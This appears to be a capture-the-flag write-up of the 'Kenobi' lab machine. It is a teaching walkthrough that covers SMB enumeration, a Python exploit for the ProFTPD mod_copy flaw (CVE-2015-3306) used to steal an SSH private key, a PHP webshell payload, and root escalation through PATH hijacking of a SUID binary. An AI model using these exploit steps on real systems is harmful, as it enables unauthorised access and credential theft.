Web service

80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-robots.txt: 1 disallowed entry 
|_/admin.html

The admin page is just a rabbit hole, nothing is there, I also tried to analyze the source code and it is simply a pure HTML code.

Additionally, I tried URL brute force to find hidden pages with extension options with Gobuster but did not find anything.

$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -u http://10.10.156.3 -x .php,.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.156.3
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/robots.txt           (Status: 200) [Size: 36]
Progress: 244929 / 244932 (100.00%)
===============================================================
Finished
===============================================================

SMB

To enumerate SMB shares and determine their permissions, you can use a variety of commands. You can also find a good list on 0xdf website.

$ netexec smb 10.10.156.3 -u 'anythingyouwant' -p '' --shares
SMB         10.10.156.3     445    KENOBI           [*] Windows 6.1 (name:KENOBI) (domain:) (signing:False) (SMBv1:True)
SMB         10.10.156.3     445    KENOBI           [+] \anythingyouwant: 
SMB         10.10.156.3     445    KENOBI           [*] Enumerated shares
SMB         10.10.156.3     445    KENOBI           Share           Permissions     Remark
SMB         10.10.156.3     445    KENOBI           -----           -----------     ------
SMB         10.10.156.3     445    KENOBI           print$                          Printer Drivers
SMB         10.10.156.3     445    KENOBI           anonymous       READ            
SMB         10.10.156.3     445    KENOBI           IPC$                            IPC Service (kenobi server (Samba, Ubuntu))

I have read permission on the anonymous share. It means I can access and read but not upload any files.

$ smbclient '\\10.10.156.3\anonymous'
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Sep  4 06:49:09 2019
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019
9204224 blocks of size 1024. 6852964 blocks available
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (76.1 KiloBytes/sec) (average 76.1 KiloBytes/sec)

When the command asks for the password insert your Kali Linux password. To analyze the log.txt I downloaded it so I can open it with my preferred text editor.

Reading the log file I can see many interesting things:

• Your identification has been saved in /home/kenobi/.ssh/id_rsa.
• # Set the user and group under which the server will run.
  User kenobi
  Group kenobi
• # We want clients to be able to login with "anonymous" as well as "ftp"
  UserAlias anonymous ftp
• [anonymous]
  path = /home/kenobi/share

Combining this information with the version of Proftpd 1.3.5 which is vulnerable I can obtain sensitive information, let's see whats mitre.org says about this vulnerability

The mod_copy module in ProFTPD 1.3.5 allows remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.

Basically, I can copy files from one destination to another without being authenticated. This is achieved with the FTP commands CPFR (copy from) and CPTO (copy to), they set the source and the destination. This obviously has no impact on me not giving me remote access, but if I combine it with the information found in the log file I will be able to gain access to the machine.

First of all, I know that I have access to the share "anonymous" and the location as well which is /home/kenobi/share. If I copy files in that directory I will be able to retrieve them via SMB as I did with the log file.

Now the file I want to copy is just not a random file but some sensitive file that is mentioned in the log which is the id_rsa that is required to log in via SSH without the password. This file location is mentioned in the log file as well, /home/kenobi/.ssh/id_rsa.

Exploit explanation

​The four lines of code interact with an FTP server to exploit a vulnerability in ProFTPD's mod_copy module, specifically CVE-2015-3306. Let's break down each line and explain how they work together:

s.send(b"SITE CPFR /proc/self/cmdline ")
This line sends the SITE CPFR command to the FTP server, specifying /proc/self/cmdline as the source file. In ProFTPD, SITE CPFR (Copy From) is used to specify the file to be copied. The /proc/self/cmdline file contains the command-line arguments of the current process. By targeting this file, the attacker aims to read data that can be manipulated in subsequent steps.

s.send(b"SITE CPTO /tmp/<?php system($_GET['c']) ?> ")
This line sends the SITE CPTO command, specifying the destination file path as /tmp/. In ProFTPD, SITE CPTO (Copy To) is used to specify the destination file for the copy operation. Here, the destination filename itself contains PHP code (<?php system($_GET['c']) ?>). Due to the way ProFTPD handles these commands, the filename is created as specified, effectively writing the PHP code into the filename. This behavior exploits the vulnerability, allowing the creation of files with arbitrary names that include executable code.

In the ProFTPD mod_copy exploit, attackers often choose /proc/self/cmdline as the source file because it's a file that the FTP server process can reliably read without encountering permission issues. This ensures the copy operation proceeds smoothly. The actual content of /proc/self/cmdline isn't significant for the exploit; the key aspect is the ability to create a new file with a malicious name or content in a location accessible by the web server. This method leverages the FTP server's permissions to facilitate unauthorized file creation.

s.send(b"SITE CPFR /tmp/<?php system($_GET['c']) ?> ")
This line sends another SITE CPFR command, this time specifying the file just created (/tmp/<?php system($_GET['c']) ?>) as the source file for a new copy operation. This step prepares to move the malicious file to a location where it can be executed via a web server.

s.send(b"SITE CPTO /var/www/html/anything.php ")
Finally, this line sends the SITE CPTO command to copy the file from /tmp/<?php system($_GET['c']) ?> to /var/www/html/anything.php. Assuming the web server serves files from /var/www/html/, the attacker can now access anything.php via a web browser. When accessed, this PHP file will execute the command specified in the c parameter of the URL query string, allowing remote code execution on the server.

How the PHP Code Ends Up Inside the File?

Typically, FTP operations involve copying existing files rather than creating new files with arbitrary content. However, due to the vulnerability in ProFTPD's mod_copy module, the FTP server fails to properly sanitize input and handle permissions. This oversight allows attackers to create files with names that include executable code. In this exploit, the filename itself contains PHP code, and when the file is placed in a web-accessible directory, the web server interprets and executes the code within the filename.

Now I have to adapt this code for my scenario as I do not have PHP.

Rewrite the exploit

import socket

# FTP server details
ftp_server = '10.10.60.162'
ftp_port = 21

# Source and destination paths
source_file = '/home/kenobi/.ssh/id_rsa'

destination_file = '/home/kenobi/share/id_rsa'
# Connect to the FTP server

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((ftp_server, ftp_port))
    response = s.recv(1024)
    print(response.decode())

    # Send SITE CPFR command to specify the source file
    s.sendall(f'SITE CPFR {source_file}\n'.encode())
    response = s.recv(1024)
    print(response.decode())

    # Send SITE CPTO command to specify the destination file
    s.sendall(f'SITE CPTO {destination_file}\n'.encode())
    response = s.recv(1024)
    print(response.decode())
  

$ python3 myexp.py 
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.184.80]
350 File or directory exists, ready for destination name
250 Copy successful

Now that the copy is completed I can check if I can find it in the share named anonymous.

$ smbclient '\\10.10.184.80\anonymous'
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Mar 29 08:56:11 2025
  ..                                  D        0  Wed Sep  4 06:56:07 2019
  id_rsa                              N     1675  Sat Mar 29 08:56:11 2025
  log.txt                             N    12237  Wed Sep  4 06:49:09 2019

9204224 blocks of size 1024. 6877112 blocks available
smb: \> 

The private key is in the share, now I can download and use it.

smb: \> get id_rsa
getting file \id_rsa of size 1675 as id_rsa (1.1 KiloBytes/sec) (average 1.1 KiloBytes/sec)
smb: \> 

Host enumeration

The first thing I usually do to find a misconfiguration to elevate my privilege is execute sudo -l to check what program I can run with sudo privilege without the need for the password.

Unfortunately on this occasion, I am not able to run the command as I do not know the password and I need to figure out a different strategy. If I want to proceed with manual enumeration it will take me a very long when I can use Linpeas and go from there, saving a lot of time.

I first downloaded Linpeas on my Kali box and then downloaded it to the target machine via Python webserver.

$ python -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.220.32 - - [31/Mar/2025 06:50:57] "GET /linpeas.sh HTTP/1.1" 200 -

kenobi@kenobi:~$ wget http://10.21.112.161/linpeas.sh
--2025-03-31 05:50:56--  http://10.21.112.161/linpeas.sh
Connecting to 10.21.112.161:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 840082 (820K) [text/x-sh]
Saving to: ‘linpeas.sh’

linpeas.sh                                100%[==================================================================================>] 820.39K  1.49MB/s    in 0.5s    

2025-03-31 05:50:57 (1.49 MB/s) - ‘linpeas.sh’ saved [840082/840082]

Linpeas makes your life easy by telling you what to check.

And the first thing it flags is the PATH, and it also gives the link to Hacktricks for further information.

The first thing Hacktricks suggests is performing sudo -l which I already discarded, the cond command to find the programs that contain SUID is find / -perm -4000 2>/dev/null.

And it shows the following installed programs:

kenobi@kenobi:~$ find / -perm -4000 2>/dev/null
/sbin/mount.nfs
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
/usr/bin/chfn
/usr/bin/newgidmap
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/newuidmap
/usr/bin/gpasswd
/usr/bin/menu
/usr/bin/sudo
/usr/bin/chsh
/usr/bin/at
/usr/bin/newgrp
/bin/umount
/bin/fusermount
/bin/mount
/bin/ping
/bin/su
/bin/ping6

Here the output is mixed with user installed program and the system program, but I am pretty sure you can guess which program was installed by the user and is not a system program. To double check I checked the Linpeas output.

The only program that seems actually installed by the user is the program.

Hijacking execution

kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Mon, 31 Mar 2025 11:21:04 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html

kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :2
4.8.0-58-generic

kenobi@kenobi:~$ /usr/bin/menu

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
eth0      Link encap:Ethernet  HWaddr 02:64:f3:a4:88:b7  
          inet addr:10.10.220.32  Bcast:10.10.255.255  Mask:255.255.0.0
          inet6 addr: fe80::64:f3ff:fea4:88b7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
          RX packets:1955 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1974 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:966897 (966.8 KB)  TX bytes:362406 (362.4 KB)

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:190 errors:0 dropped:0 overruns:0 frame:0
          TX packets:190 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1 
          RX bytes:14101 (14.1 KB)  TX bytes:14101 (14.1 KB)

From the execution nothing interesting, everything seems pretty basic, but the program has SUID which we confirmed earlier during the enumeration phase. Let's try to strings the program.

kenobi@kenobi:~$ strings /usr/bin/menu
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
[...REDACTED...]
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :
curl -I localhost
uname -r
ifconfig
[...REDACTED...]

The presence of the suid string makes clear that it is executing the program commands: curl -I localhost, uname -r, ifconfig, with elevated privilege.

To hijack the exection I need to check the PATH variable. The question to ask is: how does the terminal know where the program is when I write the name in the terminal like id, pwd, ls etc.? It uses a variable called PATH that lists a series of folder to check if they contains any program with the spcified name.

kenobi@kenobi:~$ $PATH
-bash: /home/kenobi/bin:/home/kenobi/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin: No such file or directory

in this case the search paths /home/kenobi/bin, /home/kenobi/.local/bin, /usr/local/sbin, /usr/local/bin, /usr/sbin, /usr/bin, /sbin, /bin, /usr/games, /usr/local/games, /snap/bin, and the first match will be executed as it check these folder in order. Each user has their own list of paths stored in the PATH variable. This means different users can have different paths where the system looks for programs.

If I create a program and put it in the first path of the list, the system will check that path first before looking at others. If it finds the program there, it won’t check the rest of the paths. This can be used to trick the system into executing unintended programs.

The first path is /home/kenobi/bin which is in the home directory. The bin folder does not exist so I can create it mkdir bin and put in a program named ifconfig that does a simple /bin/bash and it will be executed by the menu program with suid and root privileges.

kenobi@kenobi:~$ pwd
/home/kenobi
kenobi@kenobi:~$ mkdir bin
kenobi@kenobi:~$ echo -e '#!/bin/bash\n/bin/bash' > ./bin/ifconfig
kenobi@kenobi:~$ cat ./bin/ifconfig 
#!/bin/bash
/bin/bash
kenobi@kenobi:~$ chmod 777 ./bin/ifconfig

Note that I used -e options for the echo command as there is a new line and it has to be enclosed in single quotes! Additionally, the new ifconfig program created needs permissions to be executed and I just gave 777 as maximum privileges for everyone as I did not care about giving the minimum privileges.

At this point, I just have to execute the menu program and choose option 3 for ifconfig. Then you can find the flag in the root directory

kenobi@kenobi:~$ /usr/bin/menu 

***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :3
To run a command as administrator (user "root"), use "sudo ".
See "man sudo_root" for details.

root@kenobi:~# whoami
root
root@kenobi:~# cat /root/root.txt 
177b3cd8562289f37382721c28381f02

Enumerating NFS

$ nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.76.103
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-31 16:24 EDT
Nmap scan report for 10.10.76.103
Host is up (0.073s latency).

PORT    STATE SERVICE
111/tcp open  rpcbind
| nfs-showmount: 
|_  /var *

Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds

This shows that the NFS mounts the /var folder so I can use /var and any sub-folders. If I mount the NFS I will be able to see the whole file structure of the /var folder. It means if I copy the id_rsa file into /var/tmp and then mount the NFS and access the SSH private key.

Access and exploit ProFTPD via NetCat

$ nc 10.10.76.103 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.76.103]
SITE CPFR /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
SITE CPTO /var/tmp/id_rsa
250 Copy successful

Mounting NFS to retrieve SSH private key

$ sudo mkdir /mnt/kenobiNFS
[sudo] password for kali:
$ sudo mount 10.10.76.103:/var /mnt/kenobiNFS
$ ls -la /mnt/kenobiNFS
total 56
drwxr-xr-x 14 root root  4096 Sep  4  2019 .
drwxr-xr-x  3 root root  4096 Mar 31 16:39 ..
drwxr-xr-x  2 root root  4096 Sep  4  2019 backups
drwxr-xr-x  9 root root  4096 Sep  4  2019 cache
drwxrwxrwt  2 root root  4096 Sep  4  2019 crash
drwxr-xr-x 40 root root  4096 Sep  4  2019 lib
drwxrwsr-x  2 root staff 4096 Apr 12  2016 local
lrwxrwxrwx  1 root root     9 Sep  4  2019 lock -> /run/lock
drwxrwxr-x 10 root _ssh  4096 Sep  4  2019 log
drwxrwsr-x  2 root mail  4096 Feb 26  2019 mail
drwxr-xr-x  2 root root  4096 Feb 26  2019 opt
lrwxrwxrwx  1 root root     4 Sep  4  2019 run -> /run
drwxr-xr-x  2 root root  4096 Jan 29  2019 snap
drwxr-xr-x  5 root root  4096 Sep  4  2019 spool
drwxrwxrwt  6 root root  4096 Mar 31 16:36 tmp
drwxr-xr-x  3 root root  4096 Sep  4  2019 www
$ ls /mnt/kenobiNFS/tmp/
id_rsa
systemd-private-2408059707bc41329243d2fc9e613f1e-systemd-timesyncd.service-a5PktM
systemd-private-6bb93e4c0c12426383667820b5bc38ed-systemd-timesyncd.service-MVbD23
systemd-private-6f4acd341c0b40569c92cee906c3edc9-systemd-timesyncd.service-z5o4Aw
systemd-private-e69bbb0653ce4ee3bd9ae0d93d2a5806-systemd-timesyncd.service-zObUdn
$ cp /mnt/kenobiNFS/tmp/id_rsa /home/kali/thm/kenobi/

Now on you can continue reading from Access as Kenobi.